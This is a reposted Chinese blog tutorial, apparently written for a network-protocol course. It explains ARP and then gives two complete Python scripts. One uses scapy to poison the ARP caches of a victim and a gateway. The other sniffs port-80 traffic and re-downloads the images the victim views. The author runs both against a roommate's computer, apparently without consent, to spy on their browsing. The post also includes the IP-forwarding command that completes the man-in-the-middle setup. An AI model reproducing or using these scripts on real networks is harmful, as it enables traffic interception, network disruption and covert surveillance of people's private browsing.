arp協議分析&python編程實現arp欺騙抓圖片
序
學校tcp/ip協議分析課程老師布置的任務,要求分析一種網絡協議並且研究安全問題並編程實現,於是我選擇了研究arp協議,並且利用python編程實現一次簡單的局域網arp攻擊,抓取室友網上瀏覽的圖片(滑稽臉)
實驗環境
1.kali2.0操作系統,本人用的32位的,裝在vm12虛擬機中
2.python2.7.13,kali2.0自帶
3.一個局域網和室友的電腦
4.kali所支持的無線網卡,型號為RT3070,某寶四十多就能能買到,主要用來抓取無線數據包,因為windows自帶無線網卡kali不支持
選擇kali支持的無線網卡可參考鏈接http://www.freebuf.com/articles/wireless/140065.html
不過要注意一點,wn722n型號的無線網卡只有v1才支持kali,現在網上大多數賣的都是v2的,如果選擇這一款買的時候要好好看一下,不要選錯
arp協議研究
在進行arp攻擊之前,先來研究一下arp協議
arp協議簡介:arp協議的全稱為地址解析協議,是一種工作在網絡層的協議,是一種將ip地址轉換為MAC地址(物理地址)的協議
這里之所以需要使用MAC地址,是因為網絡中用於連接各個設備的交換機使用了內容可尋址存儲器(CAM,Coment Addressable Memory)。該存儲器維護的ARP表列出了它在每一個端口的所有連接設備的MAC地址。當交換機收到了一個指向特定MAC地址的網絡流量,它就會使用這個表,來確定應該使用哪一個端口發送流量。如果目標MAC地址是未知的,那么這個傳輸設備會首先在它的緩存中查找這個地址,如果沒有找到,那么這個地址就需要通過在網絡上額外的通信中解析了。因為在OSI七層模型中,ip地址在第三層網絡層,傳送的是數據報,mac地址在第二層數據鏈路層,傳送的是數據幀,二層的以太網交換設備並不能識別32位的IP地址,它們是以48位以太網地址(就是我們常說的MAC地址)傳輸以太網數據包(幀)的,局域網的機器要和其他機器進行通信,首先要獲取對方的物理地址,所以arp協議便把ip地址轉換為物理地址來實現這種對應關系
arp協議數據包
arp數據包分為arp請求包和arp響應包,數據包格式如下圖,arp數據包長度為28字節
其中op段代表操作類型,當op為1代表發起arp請求,說明這是一個arp請求包,當op為2時代表發起arp響應,說明這是一個arp響應包,現在假設局域網的一台機器要上外網(比如百度),首先要與網關進行通訊,獲取網關的物理地址后才能傳送數據通過網關訪問外網,這台機器會首先查看自己電腦的arp緩存表(緩存時間為120s)中是否有網關的物理地址,如果沒有便會向局域網內的機器以廣播的形式發送arp請求包詢問網管的物理地址,請求包主要字段如下
op:1(op值為1說明這是一次arp請求)
hwsrc:發送方MAC地址(即本機器MAC地址)
psrc:發送方ip地址(即本機內網ip地址)
hwdst:目標MAC地址(在這里為未知00:00:00:00:00:00)
pdst:目標ip地址(即網關ip地址,一般為192.168.0.1/192.168.1.1)
局域網內所有機器接收此arp請求,如果發現請求的ip為自己的ip便會向請求機器發送arp響應,將自己的MAC地址帶入arp響應包單播發送給請求的機器,arp響應包主要字段如下
op:2(op值為2說明這是一次arp響應)
hwsrc:發送方MAC地址(即網關MAC地址)
psrc:發送方ip地址(即網關ip地址)
hwdst:目標MAC地址(為發起arp請求的機器的MAC地址)
pdst:目標ip地址(為發起arp請求的機器的ip地址)
這樣發起arp請求的機器從arp響應包里獲取MAC地址並添加到本機arp緩存中,與網關進行通信,在這里要注意一點,在本機向網關發送arp請求的同時,網關也會向本機發送arp請求獲取本機MAC地址,同時本機也會向網關發送arp響應,這時一個雙向的過程,這里不再重復
接下來為了更清楚的理解,用wireshark抓包來觀察一下arp請求包和響應包
選擇抓包的網卡接口,在這選擇wlan0,並向網關發起ping請求與網關通信,本機ip為192.168.0.106,網關ip為192.168.0.1

在過濾窗口輸入arp&&ip.addr==192.168.0.1將arp數據包過濾出來
觀察arp請求包和響應包是否和上述描述的一致,圖中做出了詳細標明
arp欺騙
上面描述完了arp協議,下面來說一下arp欺騙攻擊,假設局域網內有三台機器
網關:192.168.0.1
受害者機器:192.168.0.108
本機kali:192.168.0.106
正常情況下,如果受害者和網關要進行通信,首先要使用arp協議進行對方的MAC地址獲取,但是如果攻擊者不斷的向受害者發送arp響應包,告訴受害者網關的MAC地址為自己的MAC地址,包的大致內容如下
op:2(op值為2說明這是一次arp響應)
hwsrc:發送方MAC地址(攻擊者MAC地址)
psrc:發送方ip地址(網關ip地址)
hwdst:目標MAC地址(受害者MAC地址)
pdst:目標ip地址(受害者ip地址)
在這里發送方ip是網關的ip,但是發送方MAC已經變為了攻擊者(kali)的MAC地址,受害者不斷的接收這個arp響應包,便會在自己的arp緩存中不斷的更新錯誤的ip與MAC的對應關系,及網關的MAC為攻擊者的MAC,由此攻擊者的網卡便可以捕獲到受害者到網關之間的流量,到現在實現了arp斷網,受害者因為與錯誤的MAC地址進行通訊而上不了網,如果攻擊者的機器開啟了ip轉發,便可以將從受害者截取到的流量轉發出去給網關,實現arp欺騙,也稱為中間人攻擊
arp欺騙一般是雙向欺騙,我們通過arp欺騙可以捕獲到受害者到網關的流量,同樣的我們可以向網關發送arp響應包欺騙網關受害者的MAC地址為自己的MAC地址,截獲網關到受害者之間的流量,arp響應包大致如下
op:2(op值為2說明這是一次arp響應)
hwsrc:發送方MAC地址(攻擊者MAC地址)
psrc:發送方ip地址(受害者ip地址)
hwdst:目標MAC地址(網關MAC地址)
pdst:目標ip地址(網關ip地址)
同樣的網關在不斷接受到此arp響應時也會不斷的更新自己的arp緩存去建立錯誤的關系,我們的kali攻擊機便可以雙向的截獲流量
用python實現arp攻擊
所需的python第三方庫
scapy庫:scapy是一個可用於網絡嗅探的非常強大的第三方庫。可以偽造,嗅探或發送網絡數據包,這這里我們使用scapy庫偽造arp響應包並發送,首先安裝scapy庫,kali默認自帶
pip install scapy
模擬攻擊環境,一個真實的局域網,就是我們寢室
自己的kali攻擊機:192.168.0.106,裝在vm虛擬機中,連接了RT3070型號的無線網卡
室友的電腦:192.168.0.108,連接同一路由器的無線網
網關:192.168.0.1
編寫python代碼:arpattack.py
from scapy.all import *#導入scapy模塊
from optparse import OptionParser#導入命令行參數處理模塊optparse
import sys
def main():
usage="Usage: [-i interface] [-t targetip] [-g gatewayip]"
parser=OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所選擇的網卡,eth0或wlan0,存放在interface變量中
parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻擊的ip,存放在targetip變量中
parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 網關ip,存放在gatewayip變量中
(options,args)=parser.parse_args()
if options.interface and options.targetip and options.gatewayip:
interface=options.interface
tip=options.targetip
gip=options.gatewayip
spoof(interface,tip,gip)#將參數傳給spoof函數
else:
parser.print_help()#顯示幫助
sys.exit(0)
def spoof(interface,tip,gip):#獲取命令行的輸入實現arp攻擊
localmac=get_if_hwaddr(interface)#get_if_hwaddr獲取本地網卡MAC地址
tmac=getmacbyip(tip)#根據目標ip獲取其MAC地址
gmac=getmacbyip(gip)#根據網關ip獲取其MAC地址
ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#構造arp響應包,欺騙目標機器網關的MAC地址為本機MAC地址
pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#構造arp響應包,欺騙網關目標機器的MAC地址為本機MAC地址
try:
while 1:
sendp(ptarget,inter=2,iface=interface)
print "send arp reponse to target(%s),gateway(%s) macaddress is %s"%(tip,gip,localmac)
sendp(pgateway,inter=2,iface=interface)
print "send arp reponse to gateway(%s),target(%s) macaddress is %s"%(gip,tip,localmac)#不斷發送arp響應包欺騙目標機器和網關,直到ctrl+c結束程序
except KeyboardInterrupt:
sys.exit(0)
if __name__=='__main__':
main()
腳本使用到的scapy庫中的幾個函數
get_if_hwaddr("本地網卡名稱(eth0/wlan0)") 根據所選擇的本地網卡獲取相應的本地網卡的MAC地址
getmacbyip("ip地址") 根據ip地址獲取其MAC地址,使用該函數實際上使用了一次arp協議,可以用此函數獲取網關和目標的MAC地址

ARP是構建ARP數據包的類,Ether用來構建以太網數據包,構造arp數據包並加上以太網頭部
Ether(src=本地網卡MAC,dst=目標機器MAC)/ARP(hwsrc=本地網卡MAC,psrc=網關ip,hwdst=目標機器MAC,pdst=目標機器ip,op=2)
構造發送給目標機器的arp數據包,並加上以太網頭部,欺騙目標機器網關的MAC為本機的MAC
Ether(src=本地網卡MAC,dst=網關MAC)/ARP(hwsrc=本地網卡MAC,psrc=網關ip,hwdst=網關MAC,pdst=網關ip,op=2)
構造發送給網關的arp數據包,並加上以太網頭部,欺騙網關目標機器的MAC為本機的MAC
sendp函數發送我們構造的arp數據包 sendp(數據包, inter=2, iface=網卡) sendp函數工作在網絡的第二層
以上代碼實現了類似於arpspoof工具的功能,使用方法,進入腳本目錄,輸入
python arpattack.py -h
查看腳本使用幫助
Usage: [-i interface] [-t targetip] [-g gatewayip]
Options:
-h, --help show this help message and exit
-i INTERFACE select interface(input eth0 or wlan0 or more)
-t TARGETIP select ip to spoof
-g GATEWAYIP input gateway ip
所以我們這樣輸入可以雙向的欺騙網關和目標機器完中間人攻擊
python arpattack.py -i 網卡 -t 要攻擊的目標的ip地址 -g 網關ip
輸入
python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1
選擇無線網卡wlan0的MAC地址去欺騙室友的電腦和網關路由器,如果我和室友都插了網線,就要選擇eth0
運行腳本便會不斷的向室友的電腦和網關發送arp響應包進行雙向欺騙,效果如下
室友電腦arp緩存
路由器arp緩存
這時我們截獲了室友電腦和網關之間的流量,使其不能相互通信,完成了arp斷網
echo "1">/proc/sys/net/ipv4/ip_forward
開啟流量轉發,這時室友和網關正常通訊,但是流量會經過我們的網卡
接下來用python編寫代碼查看室友電腦瀏覽的網頁圖片,其實不難,因為瀏覽圖片一般都是向服務器發送一次請求圖片的http請求,所以只需從經過我們網卡的流量中過濾tcp80端口的數據包(http協議),將數據包的頭部層層去掉,最后便能得到應用層的http數據包,在利用正則表達式將http://*.jpg篩選出來即可知道室友請求了哪些圖片,python的pcap庫和dpkt庫可以使我們很容易的得到電腦網卡流量中的http應用層數據包
apt-get install libpcap-dev
pip install pypcap
pip install dpkt
安裝pcap庫和dpkt庫
pcap模塊的pcap方法可以返回一個用來捕獲網卡數據包的pcap對象
dpkt,一個數據包解析工具,可以解析離線/實時pcap數據包
python代碼如下stealimg.py
import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urllist=[]
def main():
usage="Usage: [-i interface]"
parser=OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
(options,args)=parser.parse_args()
if options.interface:
interface=options.interface
pc=pcap.pcap(interface)
pc.setfilter('tcp port 80')
for ptime,pdata in pc:
getimg(pdata)
else:
parser.print_help()
sys.exit(0)
def getimg(pdata):
global urllist
p=dpkt.ethernet.Ethernet(pdata)
if p.data.__class__.__name__=='IP':
if p.data.data.__class__.__name__=='TCP':
if p.data.data.dport==80:
pa=re.compile(r'GET (.*?\.jpg)')#|.*?\.png|.*?\.gif
img=re.findall(pa,p.data.data.data)
if img!=[]:
lines=p.data.data.data.split('\n')
for line in lines:
if 'Host:' in line:
url='http://'+line.split(':')[-1].strip()+img[-1]
if url not in urllist:
urllist.append(url)
if 'Referer:' in p.data.data.data:
for line in lines:
if 'Referer:' in line:
referer=line.split(':')[-1].strip()
print url
r=requests.get(url,headers={'Referer':referer})
img=Image.open(BytesIO(r.content))
img.show()
else:
r=requests.get(url)
img=Image.open(BytesIO(r.content))
img.show()
else:
pass
if __name__=='__main__':
main()
代碼將pcap從本機網卡捕獲到的完整的網絡數據包使用dpkt庫將其中封裝的http應用層數據包提取出來,通過正則表達式將請求圖片的http請求過濾出來,並在本機請求並輸出,完成窺屏,效果如下
注意一點,百度的圖片爬取要在http請求頭中加上Referer字段,否則會出現403禁止訪問,代碼只是簡單的實現了窺屏的效果,還有着很多不足,不過通過這次學習可以對arp欺騙攻擊有更深的理解
轉載自(http://lawlietweb.com/2018/01/12/arpattack/)





